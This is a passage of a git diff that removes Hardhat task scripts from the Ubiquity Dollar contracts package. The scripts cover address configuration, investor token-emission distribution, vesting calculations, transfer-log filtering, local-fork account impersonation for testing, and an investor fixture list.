"0x16463c0fdB6BA9618909F5b120ea1581618C1b9E", - sushiMultiSig: "0x9a8541Ddf3a932a9A922B607e9CF7301f1d47bD1", - UbqWhaleAddress: "0xa53A6fE2d8Ad977aD926C485343Ba39f32D3A3F6", - MasterChefAddress: "0x8fFCf9899738e4633A721904609ffCa0a2C44f3D", - MetaPoolAddress: "0x20955cb69ae1515962177d164dfc9522feef567e", - BondingAddress: "0x831e3674Abc73d7A3e9d8a9400AF2301c32cEF0C", - BondingV2Address: "0xdAC17F958D2ee523a2206206994597C13D831ec7", // FAKE ADDRESS, TO BE REPLACED AFTER V2 DEPLOYMENT - UbiquityAlgorithmicDollarManagerAddress: "0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98", - jarUSDCAddr: "0xEB801AB73E9A2A482aA48CaCA13B1954028F4c94", - jarYCRVLUSDaddr: "0x4fFe73Cf2EEf5E8C8E0E10160bCe440a029166D2", - strategyYearnUsdcV2: "0xEecEE2637c7328300846622c802B2a29e65f3919", - usdcWhaleAddress: "0x72A53cDBBcc1b9efa39c834A540550e23463AAcB", - pickleControllerAddr: "0x6847259b2B3A4c17e7c43C54409810aF48bA5210", - }, - hardhat: { - deployer: "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd", - whaleAddress: "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2", - tester: "0x89eae71b865a2a39cba62060ab1b40bbffae5b0d", - sablier: "0xA4fc358455Febe425536fd1878bE67FfDBDEC59a", - DAI: "0x6B175474E89094C44Da98b954EedeAC495271d0F", - USDC: "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48", - USDT: "0xdAC17F958D2ee523a2206206994597C13D831ec7", - curve3CrvBasePool: "0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7", - curve3CrvToken: "0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490", - curveFactory: "0x0959158b6040D32d04c301A72CBFD6b39E21c9AE", - curveWhaleAddress: "0xC2872ab688400940d5a6041599b3F7de20730d49", - daiWhaleAddress: "0x16463c0fdB6BA9618909F5b120ea1581618C1b9E", - sushiMultiSig: "0x9a8541Ddf3a932a9A922B607e9CF7301f1d47bD1", - UbqWhaleAddress: "0xa53A6fE2d8Ad977aD926C485343Ba39f32D3A3F6", - MasterChefAddress: "0x8fFCf9899738e4633A721904609ffCa0a2C44f3D", - MetaPoolAddress: "0x20955cb69ae1515962177d164dfc9522feef567e", - BondingAddress: "0x831e3674Abc73d7A3e9d8a9400AF2301c32cEF0C", - BondingV2Address: "0xdAC17F958D2ee523a2206206994597C13D831ec7", // FAKE ADDRESS, TO BE REPLACED AFTER V2 DEPLOYMENT - UbiquityAlgorithmicDollarManagerAddress: "0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98", - jarUSDCAddr: "0xEB801AB73E9A2A482aA48CaCA13B1954028F4c94", - jarYCRVLUSDaddr: "0x4fFe73Cf2EEf5E8C8E0E10160bCe440a029166D2", - strategyYearnUsdcV2: "0xEecEE2637c7328300846622c802B2a29e65f3919", - usdcWhaleAddress: "0x72A53cDBBcc1b9efa39c834A540550e23463AAcB", - pickleControllerAddr: "0x6847259b2B3A4c17e7c43C54409810aF48bA5210", - }, -}; - -export const FORKING_CHAIN_ID = 31337; -export const FORKING_CHAIN_NAME = "hardhat"; diff --git a/packages/contracts/dollar/tasks/index.ts b/packages/contracts/dollar/tasks/index.ts deleted file mode 100644 index 4633d1505..000000000 --- a/packages/contracts/dollar/tasks/index.ts +++ /dev/null @@ -1,16 +0,0 @@ -import path from "path"; -import { taskMounter } from "./utils/task-mounter"; -import * as fs from "fs"; - -/** - * This is an adapter to automatically import tasks from the library directory - * and map them to Hardhat by taking the filename and using that for the task name. - * all of the rest (description, parameters etc) are defined within each task file - */ - -export const libraryDirectory = path.join(__dirname, "library"); - -// auto import tasks in library -fs.readdirSync(libraryDirectory) // read library directory - .filter((filename) => filename.endsWith(".ts")) // only typescript files - .forEach(taskMounter); // process each file diff --git a/packages/contracts/dollar/tasks/library/distributor.ts b/packages/contracts/dollar/tasks/library/distributor.ts deleted file mode 100644 index 8061490af..000000000 --- a/packages/contracts/dollar/tasks/library/distributor.ts +++ /dev/null @@ -1,18 +0,0 @@ -import "@nomiclabs/hardhat-waffle"; -import "hardhat-deploy"; -import { types } from "hardhat/config"; -import { ActionType } from "hardhat/types/runtime"; -import { _distributor } from "./distributor/"; - -// yarn hardhat distributor --investors ./investors.json - -const ubiquityGovernanceTokenAddress = "0x4e38D89362f7e5db0096CE44ebD021c3962aA9a0"; - -export const description = "Distributes investor emissions to a list of investors"; // { "percent": number, "address": string, "name": string }[] -export const params = { - investors: "A path to a json file containing a list of investors", -}; -export const optionalParams = { - token: ["Token address", ubiquityGovernanceTokenAddress, types.string], -}; -export const action = (): ActionType => _distributor; diff --git a/packages/contracts/dollar/tasks/library/distributor/_bulk-transfer-to-library/impersonate-types.ts b/packages/contracts/dollar/tasks/library/distributor/_bulk-transfer-to-library/impersonate-types.ts deleted file mode 100644 index ca6eba1b4..000000000 --- a/packages/contracts/dollar/tasks/library/distributor/_bulk-transfer-to-library/impersonate-types.ts +++ /dev/null @@ -1,22 +0,0 @@ -import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; -import { HardhatEthersHelpers } from "@nomiclabs/hardhat-ethers/types"; -import { Contract } from "ethers"; -import { Network } from "hardhat/types"; - -import e from "ethers/lib/ethers"; - -export interface Balance { - bigNumber: number; - decimal: number; -} -export class Account { - balance: Balance = { bigNumber: -1, decimal: -1 }; - address: string | undefined; - contract: Contract | null = null; - signer: SignerWithAddress | null = null; -} - -export interface EthersAndNetwork { - ethers: typeof e & HardhatEthersHelpers; - network: Network; -} diff --git a/packages/contracts/dollar/tasks/library/distributor/_bulk-transfer-to-library/impersonate.ts b/packages/contracts/dollar/tasks/library/distributor/_bulk-transfer-to-library/impersonate.ts deleted file mode 100644 index 638ba0e3e..000000000 --- a/packages/contracts/dollar/tasks/library/distributor/_bulk-transfer-to-library/impersonate.ts +++ /dev/null @@ -1,60 +0,0 @@ -import { abi as tokenABI } from "../../../../artifacts/contracts/UbiquityGovernance.sol/UbiquityGovernance.json"; -import { UbiquityGovernance } from "../../../../artifacts/types/UbiquityGovernance"; -import { Account, Balance, EthersAndNetwork } from "./impersonate-types"; -import { HardhatRpcMethods } from "./rpc-methods/hardhat-rpc-methods"; - -interface AddressBook { - token: string; - sender: string; - receiver: string; -} - -const account = { - token: new Account(), - sender: new Account(), - receiver: new Account(), -} as { [key in keyof AddressBook]: Account }; - -export async function impersonate(taskArgs: { [key in keyof AddressBook]: string }, { ethers, network }: EthersAndNetwork) { - console.log(`impersonating ${taskArgs.sender}`); - await network.provider.request({ method: "hardhat_impersonateAccount" as HardhatRpcMethods, params: [taskArgs.sender] }); // impersonate - - // initialize - account.sender.signer = await ethers.getSigner(taskArgs.sender); - account.receiver.signer = await ethers.getSigner(taskArgs.receiver); - account.token.contract = new ethers.Contract(taskArgs.token, tokenABI, account.sender.signer); - const tokenContractAsSender = account.token.contract.connect(account.sender.signer) as UbiquityGovernance; - - await printAllBalances(); - await doTheTransfer(); - await printAllBalances(); - - async function getBalanceOf(address: string): Promise { - const bigNumber = await account.token.contract?.balanceOf(address); - if (!bigNumber) { - throw new Error(`balanceOf(${address}) returned null`); - } - return { - bigNumber, - decimal: bigNumber / 1e18, - }; - } - async function printAllBalances() { - const balances = { - [shortenAddress(taskArgs.sender)]: (account.sender.balance = await getBalanceOf(taskArgs.sender)).decimal, - [shortenAddress(taskArgs.receiver)]: (account.receiver.balance = await getBalanceOf(taskArgs.receiver)).decimal, - // [taskArgs.token]: (account.token.balance = await getBalanceOf(taskArgs.token)).decimal, - }; - - console.table(balances); - } - async function doTheTransfer() { - const transferAmount = await getBalanceOf(taskArgs.sender); - console.log(shortenAddress(taskArgs.sender), transferAmount.decimal, await tokenContractAsSender.symbol(), `=>`, shortenAddress(taskArgs.receiver)); - await tokenContractAsSender.transfer(taskArgs.receiver, transferAmount.bigNumber); - } -} - -function shortenAddress(address: string) { - return address.slice(0, 6) + "..." + address.slice(-4); -} diff --git a/packages/contracts/dollar/tasks/library/distributor/_bulk-transfer-to-library/rpc-methods/ethereum-rpc-methods.d.ts b/packages/contracts/dollar/tasks/library/distributor/_bulk-transfer-to-library/rpc-methods/ethereum-rpc-methods.d.ts deleted file mode 100644 index 92da3a143..000000000 --- a/packages/contracts/dollar/tasks/library/distributor/_bulk-transfer-to-library/rpc-methods/ethereum-rpc-methods.d.ts +++ /dev/null @@ -1,64 +0,0 @@ -export type EthereumRpcMethods = - | "web3_clientVersion" - | "web3_sha3" - | "net_version" - | "net_peerCount" - | "net_listening" - | "eth_protocolVersion" - | "eth_syncing" - | "eth_coinbase" - | "eth_mining" - | "eth_hashrate" - | "eth_gasPrice" - | "eth_accounts" - | "eth_blockNumber" - | "eth_getBalance" - | "eth_getStorageAt" - | "eth_getTransactionCount" - | "eth_getBlockTransactionCountByHash" - | "eth_getBlockTransactionCountByNumber" - | "eth_getUncleCountByBlockHash" - | "eth_getUncleCountByBlockNumber" - | "eth_getCode" - | "eth_sign" - | "eth_signTransaction" - | "eth_sendTransaction" - | "eth_sendRawTransaction" - | "eth_call" - | "eth_estimateGas" - | "eth_getBlockByHash" - | "eth_getBlockByNumber" - | "eth_getTransactionByHash" - | "eth_getTransactionByBlockHashAndIndex" - | "eth_getTransactionByBlockNumberAndIndex" - | "eth_getTransactionReceipt" - | "eth_getUncleByBlockHashAndIndex" - | "eth_getUncleByBlockNumberAndIndex" - | "eth_getCompilers" - | "eth_compileLLL" - | "eth_compileSolidity" - | "eth_compileSerpent" - | "eth_newFilter" - | "eth_newBlockFilter" - | "eth_newPendingTransactionFilter" - | "eth_uninstallFilter" - | "eth_getFilterChanges" - | "eth_getFilterLogs" - | "eth_getLogs" - | "eth_getWork" - | "eth_submitWork" - | "eth_submitHashrate" - | "db_putString" - | "db_getString" - | "db_putHex" - | "db_getHex" - | "shh_post" - | "shh_version" - | "shh_newIdentity" - | "shh_hasIdentity" - | "shh_newGroup" - | "shh_addToGroup" - | "shh_newFilter" - | "shh_uninstallFilter" - | "shh_getFilterChanges" - | "shh_getMessages"; diff --git a/packages/contracts/dollar/tasks/library/distributor/_bulk-transfer-to-library/rpc-methods/hardhat-rpc-methods.d.ts b/packages/contracts/dollar/tasks/library/distributor/_bulk-transfer-to-library/rpc-methods/hardhat-rpc-methods.d.ts deleted file mode 100644 index 118147267..000000000 --- a/packages/contracts/dollar/tasks/library/distributor/_bulk-transfer-to-library/rpc-methods/hardhat-rpc-methods.d.ts +++ /dev/null @@ -1,18 +0,0 @@ -export type HardhatRpcMethods = - | "hardhat_getStackTraceFailuresCount" - | "hardhat_addCompilationResult" - | "hardhat_impersonateAccount" - | "hardhat_intervalMine" - | "hardhat_getAutomine" - | "hardhat_stopImpersonatingAccount" - | "hardhat_reset" - | "hardhat_setLoggingEnabled" - | "hardhat_setMinGasPrice" - | "hardhat_dropTransaction" - | "hardhat_setBalance" - | "hardhat_setCode" - | "hardhat_setNonce" - | "hardhat_setStorageAt" - | "hardhat_setNextBlockBaseFeePerGas" - | "hardhat_setCoinbase" - | "hardhat_mine"; diff --git a/packages/contracts/dollar/tasks/library/distributor/_bulk-transfer-to.ts b/packages/contracts/dollar/tasks/library/distributor/_bulk-transfer-to.ts deleted file mode 100644 index 1dd3cd9aa..000000000 --- a/packages/contracts/dollar/tasks/library/distributor/_bulk-transfer-to.ts +++ /dev/null @@ -1,28 +0,0 @@ -// import "@nomiclabs/hardhat-waffle"; -// import { Wallet } from "ethers"; -// import "hardhat-deploy"; -// import { ActionType } from "hardhat/types/runtime"; -// import { impersonate } from "./bulk-transfer-to-library/impersonate"; - -// let distributor = "0x445115D7c301E6cC3B5A21cE86ffCd8Df6EaAad9"; - -// if (process.env.UBQ_DISTRIBUTOR) { -// distributor = new Wallet(process.env.UBQ_DISTRIBUTOR).address; -// } - -// export const addressBook = { -// token: "0x4e38D89362f7e5db0096CE44ebD021c3962aA9a0", // Ubiquity Governance -// sender: distributor, -// receiver: "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd", // Investor -// }; - -// export const description = "Distributes investor emissions"; -// export const params = { -// receiver: "Account thats receiving the tokens", -// }; -// export const optionalParams = { -// token: ["Ubiquity governance token address", addressBook.token], -// sender: ["Account thats distributing the tokens", addressBook.sender], -// // receiver: ["Account thats receiving the tokens", addressBook.receiver], -// }; -// export const action = (): ActionType => impersonate; diff --git a/packages/contracts/dollar/tasks/library/distributor/calculate-owed-emissions.ts b/packages/contracts/dollar/tasks/library/distributor/calculate-owed-emissions.ts deleted file mode 100644 index 27fff0104..000000000 --- a/packages/contracts/dollar/tasks/library/distributor/calculate-owed-emissions.ts +++ /dev/null @@ -1,42 +0,0 @@ -import "@nomiclabs/hardhat-waffle"; -import erc20 from "@openzeppelin/contracts/build/contracts/ERC20.json"; -import "hardhat-deploy"; -import { HardhatRuntimeEnvironment } from "hardhat/types/runtime"; -import { ERC20 } from "../../../artifacts/types/ERC20"; - -import { Investor, InvestorWithTransfers } from "./distributor-library/investor-types"; -import { Tranche } from "./distributor-library/log-filters/transfers-to-investors"; -import { getTotalSupply } from "./owed-emissions-library/getTotalSupply"; -import { sumTotalSentToContacts } from "./owed-emissions-library/sumTotalSentToContacts"; -import { vestingMath } from "./owed-emissions-library/vestingMath"; - -const ubiquityGovernanceTokenAddress = "0x4e38D89362f7e5db0096CE44ebD021c3962aA9a0"; - -// TODO: need to consolidate tasks together -// currently you must run the following in order - -// yarn hardhat distributor --investors -// yarn hardhat calculate-owed-emissions - -export async function calculateOwedUbqEmissions( - investors: Investor[], - tranches: Tranche[], - hre: HardhatRuntimeEnvironment -): Promise<({ owed: number } & InvestorWithTransfers)[]> { - const totals = await sumTotalSentToContacts(investors, tranches); - - let cacheTotalSupply: number; - if (ubiquityGovernanceTokenAddress) { - const token = (await hre.ethers.getContractAt(erc20.abi, ubiquityGovernanceTokenAddress)) as ERC20; - const totalSupply = hre.ethers.utils.formatEther(await token.totalSupply()); - cacheTotalSupply = parseInt(totalSupply); - } - cacheTotalSupply = await getTotalSupply(hre); - - const toSend = totals.map((investor: InvestorWithTransfers) => { - const shouldGet = vestingMath({ investorAllocationPercentage: investor.percent, totalSupplyCached: cacheTotalSupply }); - return Object.assign({ owed: shouldGet - investor.transferred }, investor); - }); - - return toSend; -} diff --git a/packages/contracts/dollar/tasks/library/distributor/distributor-library/_sum-total-mints.ts b/packages/contracts/dollar/tasks/library/distributor/distributor-library/_sum-total-mints.ts deleted file mode 100644 index 137c41fcc..000000000 --- a/packages/contracts/dollar/tasks/library/distributor/distributor-library/_sum-total-mints.ts +++ /dev/null @@ -1,34 +0,0 @@ -// import "@nomiclabs/hardhat-waffle"; -// import "hardhat-deploy"; -// import { HardhatRuntimeEnvironment } from "hardhat/types"; -// import { ActionType } from "hardhat/types/runtime"; -// import mintTransactionEvents from "../../../../mints-histories.json"; // TODO: pass these in as arguments -// import { TaskArgs } from "./distributor-types"; - -// module.exports = { -// description: "total the amount minted from a list of transaction events", -// action: (): ActionType => sumTotalMints, -// }; - -// export async function sumTotalMints(taskArgs: TaskArgs, hre: HardhatRuntimeEnvironment) { -// let totals = 0; -// const buffer = [] as any[]; -// mintTransactionEvents.forEach(function processor(tx) { -// const forceTypingOfLastArg = tx.events.args[2] as { -// type: "BigNumber"; -// hex: "0x2565ca8e8262f131e0dc"; -// }; - -// const decimal = parseInt(forceTypingOfLastArg.hex); -// totals += decimal; -// buffer.push({ -// transaction: tx.log.transactionHash, -// amount: decimal / 1e18, -// }); -// }); - -// const humanReadable = totals / 1e18; -// console.table(buffer); -// console.table({ totals: humanReadable }); -// return humanReadable; -// } diff --git a/packages/contracts/dollar/tasks/library/distributor/distributor-library/_sum-total-sent-to-contacts.ts b/packages/contracts/dollar/tasks/library/distributor/distributor-library/_sum-total-sent-to-contacts.ts deleted file mode 100644 index ff8a8b3b5..000000000 --- a/packages/contracts/dollar/tasks/library/distributor/distributor-library/_sum-total-sent-to-contacts.ts +++ /dev/null @@ -1,33 +0,0 @@ -// import "@nomiclabs/hardhat-waffle"; -// import "hardhat-deploy"; -// import tranches from "../../../../distributor-transactions.json"; // TODO: pass these in as arguments -// import { ContactWithTransfers } from "../calculate-owed-emissions"; -// import investors from "../investors.json"; -// // module.exports = { -// // description: "total the amount sent to recipients from a list of transactions", -// // action: () => sumTotalSentToContacts, -// // }; - -// export function sumTotalSentToContacts() { -// const transferAmountsToContacts = investors.map((_contact) => { -// const contact = _contact as ContactWithTransfers; // type casting - -// tranches.forEach((tranche) => { -// if (!contact.transferred) { -// contact.transferred = 0; -// } - -// if (!contact.transactions) { -// contact.transactions = []; -// } - -// if (tranche.name === contact.name) { -// contact.transferred += tranche.amount; -// contact.transactions.push(tranche.hash); -// } -// }); -// return contact; -// }); -// console.log(transferAmountsToContacts); -// return transferAmountsToContacts; -// } diff --git a/packages/contracts/dollar/tasks/library/distributor/distributor-library/block-height-dater.ts b/packages/contracts/dollar/tasks/library/distributor/distributor-library/block-height-dater.ts deleted file mode 100644 index aaf1e735e..000000000 --- a/packages/contracts/dollar/tasks/library/distributor/distributor-library/block-height-dater.ts +++ /dev/null @@ -1,55 +0,0 @@ -import EthDater from "ethereum-block-by-date"; -import { ethers } from "ethers"; -const provider = new ethers.providers.CloudflareProvider(); - -export default async function blockHeightDater(range: string[]) { - const dater = new EthDater( - provider // Ethers provider, required. - ); - - // Getting block by period duration. For example: every first block of month's midnights between vesting start and vesting end - const blocks = dater.getEvery( - "months", // Period, required. Valid value: years, quarters, months, weeks, days, hours, minutes - range[0], // Start date, required. Any valid moment.js value: string, milliseconds, Date() object, moment() object. - range[range.length - 1], // End date, required. Any valid moment.js value: string, milliseconds, Date() object, moment() object. - 1, // Duration, optional, integer. By default 1. - true, // Block after, optional. Search for the nearest block before or after the given date. By default true. - false // Refresh boundaries, optional. Recheck the latest block before request. By default false. - ) as EthDaterExampleResult[]; - - return blocks; -} - -export interface EthDaterExampleResult { - date: string; - block: number; - timestamp: number; -} - -// export type EthDaterExampleResults = [ -// { -// date: "2022-05-01T00:00:00Z"; -// block: 14688630; -// timestamp: 1651363205; -// }, -// { -// date: "2022-06-01T00:00:00Z"; -// block: 14881677; -// timestamp: 1654041601; -// }, -// { -// date: "2022-07-01T00:00:00Z"; -// block: 14890291; // this is the current block because its in the future when this was run on 2 june 2022 -// timestamp: 1654163340; -// }, -// { -// date: "2022-08-01T00:00:00Z"; -// block: 14890291; // this is the current block because its in the future when this was run on 2 june 2022 -// timestamp: 1654163340; -// }, -// { -// date: "2022-09-01T00:00:00Z"; -// block: 14890291; // ... -// timestamp: 1654163340; -// } -// ]; diff --git a/packages/contracts/dollar/tasks/library/distributor/distributor-library/get-distributor-wallet.ts b/packages/contracts/dollar/tasks/library/distributor/distributor-library/get-distributor-wallet.ts deleted file mode 100644 index 00878000c..000000000 --- a/packages/contracts/dollar/tasks/library/distributor/distributor-library/get-distributor-wallet.ts +++ /dev/null @@ -1,10 +0,0 @@ -import { Wallet } from "ethers"; - -export function getDistributorWallet(): Wallet { - if (process.env.UBQ_DISTRIBUTOR) { - // = "0x445115D7c301E6cC3B5A21cE86ffCd8Df6EaAad9"; - return new Wallet(process.env.UBQ_DISTRIBUTOR); - } else { - throw new Error("private key required for process.env.UBQ_DISTRIBUTOR to distribute tokens"); - } -} diff --git a/packages/contracts/dollar/tasks/library/distributor/distributor-library/getInvestors.ts b/packages/contracts/dollar/tasks/library/distributor/distributor-library/getInvestors.ts deleted file mode 100644 index 96f8ca2f2..000000000 --- a/packages/contracts/dollar/tasks/library/distributor/distributor-library/getInvestors.ts +++ /dev/null @@ -1,12 +0,0 @@ -import { loadInvestorsFromJsonFile } from "./loadInvestorsFromJsonFile"; -import { verifyDataShape } from "./verifyDataShape"; - -export async function getInvestors(pathToJson: string) { - if (typeof pathToJson !== "string") { - throw new Error("Recipients must be a path to a json file"); - } - - const recipients = await loadInvestorsFromJsonFile(pathToJson); - recipients.forEach(verifyDataShape); - return recipients; -} diff --git a/packages/contracts/dollar/tasks/library/distributor/distributor-library/investor-types.d.ts b/packages/contracts/dollar/tasks/library/distributor/distributor-library/investor-types.d.ts deleted file mode 100644 index deb029359..000000000 --- a/packages/contracts/dollar/tasks/library/distributor/distributor-library/investor-types.d.ts +++ /dev/null @@ -1,12 +0,0 @@ -export interface Investor { - name: string; // name of the recipient - address: string; // Address of the recipient - percent: number; // percentage of the emissions that the recipient is receiving -} -export interface InvestorWithTransfers extends Investor { - transferred: number; - transactions: string[]; -} -// export interface VerifiedInvestor extends Investor { -// received: number; -// } diff --git a/packages/contracts/dollar/tasks/library/distributor/distributor-library/loadInvestorsFromJsonFile.ts b/packages/contracts/dollar/tasks/library/distributor/distributor-library/loadInvestorsFromJsonFile.ts deleted file mode 100644 index c9a7bb557..000000000 --- a/packages/contracts/dollar/tasks/library/distributor/distributor-library/loadInvestorsFromJsonFile.ts +++ /dev/null @@ -1,15 +0,0 @@ -import path from "path"; -import { warn } from "../../../../hardhat-config/utils/warn"; -import { Investor } from "./investor-types"; - -export async function loadInvestorsFromJsonFile(pathToJson: string): Promise { - try { - const importing = await import(pathToJson); - const recipients = importing.default; - return recipients; - } catch (e) { - warn(`incorrect pathToJson`); - warn(path.resolve(pathToJson)); - throw e; - } -} diff --git a/packages/contracts/dollar/tasks/library/distributor/distributor-library/log-filters/mints.ts b/packages/contracts/dollar/tasks/library/distributor/distributor-library/log-filters/mints.ts deleted file mode 100644 index 8cb65887a..000000000 --- a/packages/contracts/dollar/tasks/library/distributor/distributor-library/log-filters/mints.ts +++ /dev/null @@ -1,7 +0,0 @@ -import { LogAndEvents } from "../read-contract-transaction-history"; -export default function mintFilter(tx: LogAndEvents): boolean { - if (tx.events.topic === "0xb1233017d63154bc561d57c16f7b6a55e2e1acd7fcac94045a9f35fb31a850ca") return true; - else if (tx.events.signature === "Minting(address,address,uint256)") return true; - else if (tx.events.name === "Minting") return true; - return false; -} diff --git a/packages/contracts/dollar/tasks/library/distributor/distributor-library/log-filters/transfers-to-investors.ts b/packages/contracts/dollar/tasks/library/distributor/distributor-library/log-filters/transfers-to-investors.ts deleted file mode 100644 index ad30ac677..000000000 --- a/packages/contracts/dollar/tasks/library/distributor/distributor-library/log-filters/transfers-to-investors.ts +++ /dev/null @@ -1,33 +0,0 @@ -import { LogDescription } from "@ethersproject/abi"; -import { Log } from "@ethersproject/providers"; -import { Investor } from "../investor-types"; - -export function transfersToInvestorsFilterWrapper(investors: Investor[]) { - return function transfersToInvestorsFilter(txEmits: { events: LogDescription; log: Log }) { - const to = txEmits.events.args[1] as string; - const _amount = txEmits.events.args[2]._hex as string; - const amount = parseInt(_amount) / 1e18; - - // very fast way to see if the recipient is in the address book - let x = investors.length; - while (x--) { - if (investors[x].address === to) { - return { - name: investors[x].name, - hash: txEmits.log.transactionHash, - from: txEmits.events.args[0] as string, - to: txEmits.events.args[1] as string, - amount, - }; - } - } - }; -} - -export interface Tranche { - name: string; - hash: string; - from: string; - to: string; - amount: number; -} diff --git a/packages/contracts/dollar/tasks/library/distributor/distributor-library/log-filters/transfers.ts b/packages/contracts/dollar/tasks/library/distributor/distributor-library/log-filters/transfers.ts deleted file mode 100644 index 4c00c436b..000000000 --- a/packages/contracts/dollar/tasks/library/distributor/distributor-library/log-filters/transfers.ts +++ /dev/null @@ -1,7 +0,0 @@ -import { LogAndEvents } from "../read-contract-transaction-history"; -export default function transferFilter(tx: LogAndEvents): boolean { - if (tx.events.topic === "0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef") return true; - else if (tx.events.signature === "Transfer(address,address,uint256)") return true; - else if (tx.events.name === "Transfer") return true; - return false; -} diff --git a/packages/contracts/dollar/tasks/library/distributor/distributor-library/read-contract-transaction-history.ts b/packages/contracts/dollar/tasks/library/distributor/distributor-library/read-contract-transaction-history.ts deleted file mode 100644 index 753e64ee6..000000000 --- a/packages/contracts/dollar/tasks/library/distributor/distributor-library/read-contract-transaction-history.ts +++ /dev/null @@ -1,113 +0,0 @@ -import { ethers } from "ethers"; -import { abi as tokenABI } from "../../../../artifacts/contracts/UbiquityGovernance.sol/UbiquityGovernance.json"; -import blockHeightDater from "./block-height-dater"; -import { verifyMinMaxBlockHeight } from "./verifyMinMaxBlockHeight"; -import { getKey } from "../../../../hardhat-config/utils/getKey"; - -interface Filter { - address: string; - fromBlock: number; - toBlock: number; -} - -export async function readContractTransactionHistory(address: string, queryDates: string[]) { - const timestampsDated = await blockHeightDater(queryDates); - const range = await verifyMinMaxBlockHeight(timestampsDated); - - const provider = new ethers.providers.EtherscanProvider(1, getKey("ETHERSCAN")); - - const filter = { - address: address, - fromBlock: range[0]?.block, - toBlock: range[1]?.block, - }; - - return await getLogs(provider, filter); -} - -async function getLogs(provider: ethers.providers.EtherscanProvider, filter: Filter): Promise { - // https://github.com/ethers-io/ethers.js/issues/487#issuecomment-481881691 - - const tokenInterface = new ethers.utils.Interface(tokenABI); - const logs = await provider.getLogs(filter); - const logsAndEvents = logs.map((log) => { - const events = tokenInterface.parseLog(log); - return { log, events }; - }); - return logsAndEvents; -} - -export interface LogAndEvents { - log: ethers.providers.Log; - events: ethers.utils.LogDescription; -} - -/* -type ExampleLog = { - blockNumber: 14693560; - blockHash: "0xdfefdb6a69409d7c967957cfd1f127f28e5f6806bcec943e0e2f76035e76c9aa"; - transactionIndex: 157; - removed: false; - address: "0x4e38D89362f7e5db0096CE44ebD021c3962aA9a0"; - data: "0x0000000000000000000000000000000000000000000000ce218db29d696f2abf"; - topics: [ - "0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef", - "0x0000000000000000000000000b54b916e90b8f28ad21da40638e0724132c9c93", - "0x000000000000000000000000f28211b8ee68914deed689e1079f882c421f0308" - ]; - transactionHash: "0xa6075fa2ee0a786bf23a2371e1f057f9ca0af7e147b7904e265ec48ed76ab139"; - logIndex: 107; -} - -type ExampleEvent = { - "eventFragment": { - "name": "Transfer", - "anonymous": false, - "inputs": [ - { - "name": "from", - "type": "address", - "indexed": true, - "components": null, - "arrayLength": null, - "arrayChildren": null, - "baseType": "address", - "_isParamType": true - }, - { - "name": "to", - "type": "address", - "indexed": true, - "components": null, - "arrayLength": null, - "arrayChildren": null, - "baseType": "address", - "_isParamType": true - }, - { - "name": "value", - "type": "uint256", - "indexed": false, - "components": null, - "arrayLength": null, - "arrayChildren": null, - "baseType": "uint256", - "_isParamType": true - } - ], - "type": "event", - "_isFragment": true - }, - "name": "Transfer", - "signature": "Transfer(address,address,uint256)", - "topic": "0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef", - "args": [ - "0x0B54B916E90b8f28ad21dA40638E0724132C9c93", - "0xF28211B8ee68914dEeD689E1079F882C421F0308", - { - "type": "BigNumber", - "hex": "0xce218db29d696f2abf" - } - ] -} -*/ diff --git a/packages/contracts/dollar/tasks/library/distributor/distributor-library/verifyDataShape.ts b/packages/contracts/dollar/tasks/library/distributor/distributor-library/verifyDataShape.ts deleted file mode 100644 index 9799767eb..000000000 --- a/packages/contracts/dollar/tasks/library/distributor/distributor-library/verifyDataShape.ts +++ /dev/null @@ -1,24 +0,0 @@ -import { Investor } from "./investor-types"; - -export function verifyDataShape(investor: Investor) { - if (!investor.name) { - console.warn("Investor should have a name"); - } - if (typeof investor.name !== "string") { - console.warn("Investor name should be a string"); - } - - if (!investor.address) { - throw new Error("Investor must have an address"); - } - if (typeof investor.address !== "string") { - throw new Error("Investor address must be a string"); - } - - if (!investor.percent) { - throw new Error("Investor must have a percentage"); - } - if (typeof investor.percent !== "number") { - throw new Error("Investor percentage must be a number"); - } -} diff --git a/packages/contracts/dollar/tasks/library/distributor/distributor-library/verifyMinMaxBlockHeight.ts b/packages/contracts/dollar/tasks/library/distributor/distributor-library/verifyMinMaxBlockHeight.ts deleted file mode 100644 index 1880bcc1f..000000000 --- a/packages/contracts/dollar/tasks/library/distributor/distributor-library/verifyMinMaxBlockHeight.ts +++ /dev/null @@ -1,11 +0,0 @@ -import { EthDaterExampleResult } from "./block-height-dater"; - -export async function verifyMinMaxBlockHeight(timestampsDated: EthDaterExampleResult[]) { - const vestingStart = timestampsDated.shift(); - const vestingEnd = timestampsDated.pop(); - - if (!vestingStart || !vestingEnd) { - throw new Error("vestingStart or vestingEnd is undefined"); - } - return [vestingStart, vestingEnd] as EthDaterExampleResult[]; -} diff --git a/packages/contracts/dollar/tasks/library/distributor/fixtures/investors.json b/packages/contracts/dollar/tasks/library/distributor/fixtures/investors.json deleted file mode 100644 index d53289a42..000000000 --- a/packages/contracts/dollar/tasks/library/distributor/fixtures/investors.json +++ /dev/null @@ -1,72 +0,0 @@ -[ - { - "percent": 0.02, - "address": "0x6a5dBF2Fb5206EC8192620810C3edB6d5e62B188", - "name": "Concave" - }, - { - "percent": 0.0025, - "address": "0xf2c7DCE9dC46dFc5153E5C8f2d49028543a3A050", - "name": "DCF Capital" - }, - { - "percent": 0.011, - "address": "0x05AeB176197F1800465285907844913a2bc02e75", - "name": "Momentum6" - }, - { - "percent": 0.005, - "address": "0xce12e0AbCb030c1D767439712498C3917C56c5C8", - "name": "Ascensive Assets" - }, - { - "percent": 0.0125, - "address": "0xbA50a624A3f6ebcf4634e3F73842231510534c8C", - "name": "Best Select Ventures Global Limited" - }, - { - "percent": 0.0125, - "address": "0x6C23Dec1EA5Ef38606798D5ea76Eb507D2AFdc61", - "name": "Brand New Ventures" - }, - { - "percent": 0.005, - "address": "0x060F6529e7dA2D0d95BD5626b0084069659faD07", - "name": 